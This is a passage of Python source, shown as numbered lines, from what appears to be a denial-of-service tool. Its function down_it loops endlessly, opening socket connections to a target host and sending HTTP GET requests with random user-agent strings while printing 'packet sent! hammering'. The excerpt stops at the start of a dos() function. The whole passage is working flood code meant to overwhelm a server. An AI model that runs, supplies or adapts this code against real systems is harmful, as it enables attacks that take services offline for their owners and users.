| 42 | |
| 43 | |
| 44 | def down_it(item): |
| 45 | try: |
| 46 | while True: |
| 47 | packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8') |
| 48 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 49 | s.connect((host,int(port))) |
| 50 | if s.sendto( packet, (host, int(port)) ): |
| 51 | s.shutdown(1) |
| 52 | print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m") |
| 53 | else: |
| 54 | s.shutdown(1) |
| 55 | print("\033[91mshut<->down\033[0m") |
| 56 | time.sleep(.1) |
| 57 | except socket.error as e: |
| 58 | print("\033[91mno connection! server maybe down\033[0m") |
| 59 | #print("\033[91m",e,"\033[0m") |
| 60 | time.sleep(.1) |
| 61 | |
| 62 | |
| 63 | def dos(): |